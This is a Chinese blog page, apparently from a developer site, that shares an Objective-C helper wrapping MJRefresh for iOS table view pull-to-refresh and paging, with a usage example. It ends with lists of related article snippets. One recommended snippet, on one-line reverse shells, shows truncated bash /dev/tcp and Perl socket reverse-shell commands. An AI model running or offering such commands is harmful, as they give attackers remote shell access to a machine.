下面是我对AFN刷新一个简单的封装我们只需要传过去一个tableView就好了 简化了一些代码

#import <Foundation/Foundation.h>

typedef NS_ENUM(NSInteger, refreshType) {
TableViewHeaderRefresh,
TableViewFooterRefresh }; @interface HuTableViewRefresh : NSObject /**
tableView 刷新 @param tableView tableView
@param success 下拉或者上拉
*/
+ (void)tableViewRefresh:(UITableView *)tableView success:(void(^)(refreshType refresh))success; @end
#import "HuTableViewRefresh.h" @implementation HuTableViewRefresh + (void)tableViewRefresh:(UITableView *)tableView success:(void (^)(refreshType))success{ tableView.mj_header = [MJRefreshNormalHeader headerWithRefreshingBlock:^{
success(TableViewHeaderRefresh);
}];
[tableView.mj_header beginRefreshing];
tableView.mj_footer = [MJRefreshBackNormalFooter footerWithRefreshingBlock:^{
success(TableViewFooterRefresh);
}];
tableView.mj_footer.automaticallyHidden = YES; } @end
使用方法

 [HuTableViewRefresh tableViewRefresh:self.tableView success:^(refreshType refresh) {

        refresh == TableViewHeaderRefresh ? _pageNum = kPageNum: _pageNum ++;
[self loadingData];
}];
- (void)loadingData{ NSDictionary *paramters = @{@"pageNum":@(_pageNum),@"pageSize":@"10",@"classTypes":@"4"}; WS(weakSelf)
[PCHttpTools
myCollection:paramters
view:nil
success:^(NSArray *dataListArray) { [self.dateListArray addObjectsFromArray:dataListArray]; if (_pageNum == kPageNum) { [self.tableView.mj_header endRefreshing]; if (dataListArray.count <= 0) {
[self.tableView removeFromSuperview];
[self loadingDefaultview:@"暂无收藏课程~"]; }
[self.dateListArray removeAllObjects]; } if (dataListArray.count < 10) { [weakSelf.tableView.mj_footer endRefreshingWithNoMoreData]; } [weakSelf.dateListArray addObjectsFromArray:dataListArray];
[self.tableView reloadData]; }];
}

iOS tableView刷新的更多相关文章

  1. iOS tableview cell 的展开收缩

    iOS tableview cell 的展开收缩 #import "ViewController.h" @interface ViewController ()<UITabl ...

  2. ios tableview 上加 textfiled

    ios tableview 上加 textfiled 首先附上我项目中用曾经用到的几张图  并说明一下我的用法: 图1: 图2: 图3: 心在你我说一下  我当初的实现 方法 ,希望能给你们一些  启 ...

  3. IOS如何刷新视图上的显示内容

    大家都知道,UItableView 有个 reloadData的方法,可以tableview刷新视图.而普通的View上面.我们如何刷新视图的呢? 下图是我做的一个用户登录之后显示用户昵称和个性签名还 ...

  4. iOS TableView多级列表

    代码地址如下:http://www.demodashi.com/demo/15006.html 效果预览 ### 一.需求 TableView多级列表:分级展开或合并,逐级获取并展示其子级数据,可以设 ...

  5. iOS tableview的常用delegate和dataSource执行顺序

    在这次项目中遇到了一个特别奇葩的问题:表视图创建的cell在7以上的系统能正常运行显示,在模拟器上就不能正常实现......为解决这个问题,纠结了好久...... 对在7系统上不显示的猜测: 用mas ...

  6. IOS tableview下拉刷新上拉加载分页

    http://code4app.com/ios/快速集成下拉上拉刷新/52326ce26803fabc46000000 刷新没用用插件,加载使用的MJ老师的插件. - (void)viewDidLoa ...

  7. iOS TableView如何刷新指定的cell或section

    指定的section单独刷新 NSIndexSet *indexSet=[[NSIndexSet alloc]initWithIndex:indexPath.row]; [tableview relo ...

  8. ios开发之--tableview刷新某一个区和某一行

    在开发中,有时候,我们不需要刷新整个表,只需要刷新局部数据即可,具体代码如下: //section刷新 NSIndexSet *indexSet=[[NSIndexSet alloc]initWith ...

  9. IOS tableView的数据刷新

    1.tableView的刷新 1> 数据刷新的总体步骤 * 修改模型数据 * 刷新表格(刷新界面) 2> 刷新表格(刷新界面)的方法 * 全局刷新(每一行都会重新刷新) - (void)r ...

随机推荐

  1. 主存与Cache的地址映射

    最近在复习计算机体系结构,选用的教材是名闻遐迩的<计算机体系结构 量化研究方法 第五版>(Computer Architecture A Quantitative Approach), 关 ...

  2. Dom元素的Property和Attribute

    Attribute就是DOM节点自带的属性,例如html中常用的id.class.title.align等: 而Property是这个DOM元素作为对象,其附加的内容,例如childNodes.fir ...

  3. 各种语言一句话反弹shell

    Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功] bash -i >& /dev/tcp/ >& Perl perl -e 'use Socket; ...

  4. 最近一个刚刚毕业的朋友说,他面试时候,遇到最频繁的css问题就是垂直居中,这里给出几种垂直居中方式!

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  5. asp net core 跨平台初体验

    标: 在 ubuntu 16.04 上部署一个 asp.net core 站点,打开网站后显示一段文字.   安装 net core 运行环境:ubuntu 16.04 LTS 1.添加 apt 源 ...

  6. EF添加

    1.添加单个模型(CreatRule()是构造模型)(Shop_ActivityRuleProduct是类) var rule = CreatRule(model); var ruled = db.S ...

  7. 两本最近阅读的工具书的记录 关于Python和Linux命令行的 不喜勿喷 只是写给自己用

    <Linux命令行完全技术宝典>读书心得 张栋作者 在学习Linux系统中,我们需要掌握各种管理的方法和技巧,而管理Linux系统最有效的方法就是命令行的控制.而我在图书馆中读到的< ...

  8. 发布.net mvc遇到的HTTP错误 403.14-Forbidden解决办法

    请检查一下"处理程序映射",里面是否有"ExtensionlessUrlHandler-Integrated-4.0",如果没有,请注册.net4.0 在运行里 ...

  9. 基于FPGA的IIR滤波器

    基于FPGA的IIR滤波器                                                         by方阳 版权声明:本文为博主原创文章,转载请指明转载地址 ...

  10. jmeter3.2版本完美实现Load Test报表

    今天下载了最新版的apache tomcat jmeter 3.2,需要jdk1.8以上的版本. 用非GUI模式运行压力测试后,出现的报表太完美了. 将jmx脚本放在就jmeter_home下的Scr ...